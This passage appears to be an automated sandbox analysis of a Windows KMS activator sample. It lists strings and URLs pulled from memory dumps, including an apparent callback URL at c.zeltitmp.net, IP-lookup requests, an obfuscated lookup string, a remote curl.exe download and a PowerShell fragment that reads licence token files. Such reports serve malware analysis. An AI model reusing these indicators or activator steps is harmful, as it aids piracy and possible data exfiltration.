IP "4.0.0.0" found in string "n=4.0.0.0" Potential IP "4.0.0.0" found in string "ystem.Configuration,4.0.0.0,,b03f5f7f11d50a3a" "2.5.29.17" "2.5.29.32" "2.5.29.15" "2.5.29.31" "2.5.29.14" "2.5.29.19" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.1" "2.5.4.3" "2.5.29.16" "2.5.4.6" "2.5.4.8" "2.5.4.7" "2.5.4.10" "2.5.4.5" "2.5.4.11" "2.5.29.37" Potential IP "4.0.0.0" found in string "Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" "4.0.0.0" Potential IP "4.0.0.0" found in string "height.Drawing.Sizesion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"60:T2f77,Heuristic match: "b!P.Uz" Pattern match: "login.live.com/ppsecure/deviceaddcredential.srfpurchase.mp.microsoft.com/v7.0/users/me/orders" Pattern match: "http://www.microsoft.com/DRM/SL/GenuineAuthorization/1.0" Pattern match: "fo.io/c%dsfbsdjfhgfbsfhd%oun%dsfbsdjfhgfbsfhd%t%gdjgdibiubfd8hhd8%r%gdjgdibiubfd8hhd8%y" Pattern match: "https://github.com/abbodi1406/KMS_VL_ALL_AIO" Pattern match: "http://schemas.microsoft.com/windows/2004/02/mit/task" Pattern match: "stackoverflow.com/a/10407642:batcolpushd" Pattern match: "https://gist.github.com/ave9858/9fff6af726ba3ddc646285d1bbf37e71" Heuristic match: "d.Return}$tokenFiles | ForEach `{$tokenParts = (Get-Content -Encoding Unicode -Path $_.FullName).Split('_')$output = [PSCustomObject] `@{ACID = $tokenParts[0];User = $tokenParts[3]NotBefore = $tokenParts[4];NotAfter = $tokenParts[5];} | ConvertTo-JsonWrit" Pattern match: "https://kms.com" Pattern match: "https://techcommunity.microsoft.com/t5/ask-the-performance-team/wmi-repository-corruption-or-not/ba-p/375484if" Pattern match: "https://eskonr.com/2012/01/how-to-fix-wmi-issues-automatically/call" Pattern match: "https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=$($TargetLanguage)&dt=t&q=$Text3$Response" Heuristic match: "c.zeltitmp.net" Heuristic match: "github.com" Heuristic match: "ipinfo.io" Heuristic match: "raw.githubusercontent.com" Heuristic match: "translate.googleapis.com" Heuristic match: "zeltitmp.net" Pattern match: "login.live.com/ppsecure/deviceaddcredential.srf" Pattern match: "purchase.mp.microsoft.com/v7.0/users/me/orders" Pattern match: "https://%%#" Pattern match: "https://licensing.mp.microsoft.com/v7.0/licenses/content" Pattern match: "stackoverflow.com/a/10407642" Heuristic match: "Version = $_.Directory.Name" Pattern match: "https://techcommunity.microsoft.com/t5/ask-the-performance-team/wmi-repository-corruption-or-not/ba-p/375484" Pattern match: "https://eskonr.com/2012/01/how-to-fix-wmi-issues-automatically/" Heuristic match: "$package = $packages[-1].Name" Pattern match: "https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=$($TargetLanguage)&dt=t&q=$Text3" Pattern match: "https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=RetailValidation" Pattern match: "https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail" Pattern match: "https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx" Pattern match: "https://github.com/cloud1cybertron/wincurl/raw/main/curl.exe" Pattern match: "https://ipinfo.io/ip" Pattern match: "https://ipinfo.io/country" Pattern match: "https://c.zeltitmp.net/c01.php" Pattern match: "Microsoft.NET/Framework64/v4.0.30319/" Heuristic match: "Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "Microsoft-Windows-Client-Features-WOW64-Package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "www.digicert.com1$0" Pattern match: "www.digicert.com1+0" Pattern match: "www.microsoft.com/pkiops/Docs/Repository.htm" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0" Pattern match: "www.microsoft.com/PKI/docs/CPS/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0" Pattern match: "Microsoft.Net/assembly/GAC_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Heuristic match: "DOWS\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "stem.Management.Automation.re" Heuristic match: "ystem.Management.Automation.re" Pattern match: "http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q" Pattern match: "http://crt.comodoca.com/COMODORSAAddTrustCA.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" Pattern match: "crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0F" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0L" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://www.microsoft.com0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/ThawtePCA-G3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0K" Pattern match: "http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "https://www.digicert.com/CPS0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/AddTrustExternalCARoot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/CPS" Pattern match: "https://www.verisign.com/CPS04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "http://crl.securetrust.com/STCA.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "7www.entrust.net/CPS_2048" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "http://www.certplus.com/CRL/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/CPS" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/AAACertificateServices.crl06" Pattern match: "crl.comodo.net/AAACertificateServices.crl0" Pattern match: "www.digicert.com1!0" Heuristic match: "System.MP" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt07" Pattern match: "www.microsoft.com/pkiops/crl/MicWinProPCA2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/MicWinProPCA2011_2011-10-19.crt0" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=42127" Pattern match: "http://www.w3.org/2000/09/xmldsig#dsa-sha1" Pattern match: "http://www.w3.org/2000/09/xmldsig#rsa-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha512" Pattern match: "http://www.w3.org/2000/09/xmldsig#sha1" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha256" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha512" Pattern match: "http://www.w3.org/2001/04/xmlenc#ripemd160" Pattern match: "http://www.w3.org/2001/04/xmlenc#des-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#tripledes-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-tripledes" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes128-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes128" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes192-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes192" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes256-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes256" Pattern match: "http://www.w3.org/TR/2001/REC-xml-c14n-20010315" Pattern match: "http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#WithComments" Pattern match: "http://www.w3.org/2000/09/xmldsig#base64" Pattern match: "http://www.w3.org/TR/1999/REC-xpath-19991116" Pattern match: "http://www.w3.org/TR/1999/REC-xslt-19991116" Pattern match: "http://www.w3.org/2000/09/xmldsig#enveloped-signature" Pattern match: "http://www.w3.org/2002/07/decrypt#XML" Pattern match: "http://www.w3.org/2000/09/xmldsig#" Pattern match: "http://www.w3.org/2001/04/xmlenc#" Pattern match: "http://www.w3.org/2000/09/xmldsig#hmac-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-ripemd160" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha512" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/XML/1998/namespace" Pattern match: "http://schemas.microsoft.com/.NetConfiguration/v2.0" Pattern match: "system.web/anonymousIdentification" Pattern match: "system.web/authentication" Pattern match: "system.web/authorization" Pattern match: "system.web/browserCaps" Pattern match: "system.web/clientTarget" Pattern match: "system.web/compilation" Pattern match: "system.web/customErrors" Pattern match: "system.web/deployment" Pattern match: "system.web/deviceFilters" Pattern match: "system.web/fullTrustAssemblies" Pattern match: "system.web/globalization" Pattern match: "system.web/healthMonitoring" Pattern match: "system.web/hostingEnvironment" Pattern match: "system.web/httpCookies" Pattern match: "system.web/httpHandlers" Pattern match: "system.web/httpModules" Pattern match: "system.web/httpRuntime" Pattern match: "system.web/identity" Pattern match: "system.web/machineKey" Pattern match: "system.web/membership" Pattern match: "system.web/mobileControls" Pattern match: "system.web/pages" Pattern match: "system.web/partialTrustVisibleAssemblies" Pattern match: "system.web/processModel" Pattern match: "system.web/profile" Pattern match: "system.web/protocols" Pattern match: "system.web/roleManager" Pattern match: "system.web/securityPolicy" Pattern match: "system.web/sessionPageState" Pattern match: "system.web/sessionState" Pattern match: "system.web/siteMap" Pattern match: "system.web/trace" Pattern match: "system.web/trust" Pattern match: "system.web/urlMappings" Pattern match: "system.web/webControls" Pattern match: "system.web/webParts" Pattern match: "system.web/webServices" Pattern match: "system.web/xhtmlConformance" Pattern match: "system.web/caching" Pattern match: "system.web/caching/cache" Pattern match: "system.web/caching/outputCache" Pattern match: "system.web/caching/outputCacheSettings" Pattern match: "system.web/caching/sqlCacheDependency" Pattern match: "http://schemas.microsoft.com/clr/" Pattern match: "http://schemas.microsoft.com/clr/assem/" Pattern match: "http://schemas.microsoft.com/clr/ns/" Pattern match: "http://schemas.microsoft.com/clr/nsassem/" Heuristic match: "osoft.Vi" Heuristic match: "soft.Vi"61:T6ed2,Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001580.00000000.66629.3B470000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001580.00000000.66629.3B740000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001580.00000000.66629.3B740000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcwashington1redmond1microsoft" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10dr5r" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;-cudtt3;&r" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl08*eudp*eud1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4z[v;dwu;d" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00001580.00000000.66629.94952000.00000002.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\kmsmatrix.exe.configfile:///c:/kmsmatrix.exec:/kmsmatrix.exec:\kmsmatrix.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.6versionv4.60123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework64\v4.0.30319\c:\windows\microsoft.net\framework64\v4.0.30319\path2path1c:\windows\microsoft.net\framework64\v4.0.30319\configc:\windows\microsoft.net\framework64\v4.0.30319\config\machine.configc:\windows\microsoft.net\framework64\v4.0.30319\config\machine.configmachine.configc:\windows\microsoft.net\framework64\v4.0.30319\config\machine.configconfig_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework64\v4.0.30319\config\c:\users\ciaq14d\appdata\roaming\microsoft\clr" - Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp") Found URL "https://%%" - Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp") Found URL "https://licensing.mp.microsoft.com/v7.0/licenses/content" - Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp") Found URL "http://www.microsoft.com/drm/sl/genuineauthorization/1.0" - Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp") Found URL "https://github.com/abbodi1406/kms_vl_all_aio)" - Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp") Found URL "https://github.com/abbodi1406/kms_vl_all_aioecho.echo" - Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002616.00000000.66017.789A0000.00000004.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json01/12" - Source: "00000000-00002616.00000000.66017.7A5A0000.00000002.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json,config,001/12" - Source: "00000000-00002616.00000000.66017.7A5A0000.00000002.mdmp") Found URL "http://www.w3.org/1999/02/22-rdf-syntax-ns" - Source: "00000000-00002616.00000000.66017.7B090000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\kmsmatrix.exe.configfile:///c:/kmsmatrix.exec:/kmsmatrix.exec:\kmsmatrix.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.6versionv4.60123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework64\v4.0.30319\c:\windows\microsoft.net\framework64\v4.0.30319\path2path1c:\windows\microsoft.net\framework64\v4.0.30319\configc:\windows\microsoft.net\framework64\v4.0.30319\config\machine.configc:\windows\microsoft.net\framework64\v4.0.30319\config\machine.configmachine.configc:\windows\microsoft.net\framework64\v4.0.30319\config\machine.configconfig_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework64\v4.0.30319\config\c:\users\ciaq14d\appdata\roaming\microsoft\clr" - Source: "00000000-00002616.00000001.67938.00000000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00002616.00000001.67938.00000000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00002616.00000001.67938.00000000.00000004.mdmp") Found URL "https://%%" - Source: "00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found URL "https://licensing.mp.microsoft.com/v7.0/licenses/content" - Source: "00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found URL "http://www.microsoft.com/drm/sl/genuineauthorization/1.0" - Source: "00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found URL "https://github.com/abbodi1406/kms_vl_all_aio)" - Source: "00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found URL "https://github.com/abbodi1406/kms_vl_all_aioecho.echo" - Source: "00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002616.00000001.67938.789A0000.00000004.mdmp") Found URL "http://www.w3.org/1999/02/22-rdf-syntax-ns" - Source: "00000000-00002616.00000001.67938.7B090000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\kmsmatrix.exe.configfile:///c:/kmsmatrix.exec:/kmsmatrix.exec:\kmsmatrix.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.6versionv4.60123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework64\v4.0.30319\c:\windows\microsoft.net\framework64\v4.0.30319\path2path1c:\windows\microsoft.net\framework64\v4.0.30319\configc:\windows\microsoft.net\framework64\v4.0.30319\config\machine.configc:\windows\microsoft.net\framework64\v4.0.30319\config\machine.configmachine.configc:\windows\microsoft.net\framework64\v4.0.30319\config\machine.configconfig_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework64\v4.0.30319\config\c:\users\ciaq14d\appdata\roaming\microsoft\clr" - Source: "00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found URL "https://docs.microsoft.com/windows/win32/fileio/maximum-file-path-limitation.-->" - Source: "00000000-00002616.00000002.69859.768DE000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002616.00000002.69859.789A0000.00000004.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json01/12" - Source: "00000000-00002616.00000002.69859.7A5A0000.00000002.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json,config,001/12" - Source: "00000000-00002616.00000002.69859.7A5A0000.00000002.mdmp") Found URL "http://www.w3.org/1999/02/22-rdf-syntax-ns" - Source: "00000000-00002616.00000002.69859.7B090000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005180.00000000.68533.755B8000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00005180.00000000.68533.755B8000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00005180.00000000.68533.755B8000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005180.00000000.68533.94952000.00000002.mdmp") Found URL "https://github.com/cloud1cybertron/wincurl/raw/main/curl.exe'," - Source: "00000000-00005180.00000000.68533.DCA60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-2com/pki/docs/c" - Source: "00000000-00005180.00000000.68533.DCA60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.c8elq6wo/>" - Source: "00000000-00005180.00000000.68533.DCA60000.00000004.mdmp") Found URL "https://github.com/cloud1cybertron/wincurl/raw/main/curl.exe'," - Source: "00000000-00005180.00000000.68533.DCAB0000.00000004.mdmp") Found URL "https://sethub.com/github.com16299.15.catmicrosoft-windows-client-features-wow64-package0017" - Source: "00000000-00005180.00000000.68533.DCAB0000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00005180.00000000.68533.DCAB0000.00000004.mdmp") Found URL "https://github.com/cloud1cybertron/wincurl/raw/main/curl.exe'," - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005180.00000000.68533.DE5A0000.00000004.mdmp") Found URL 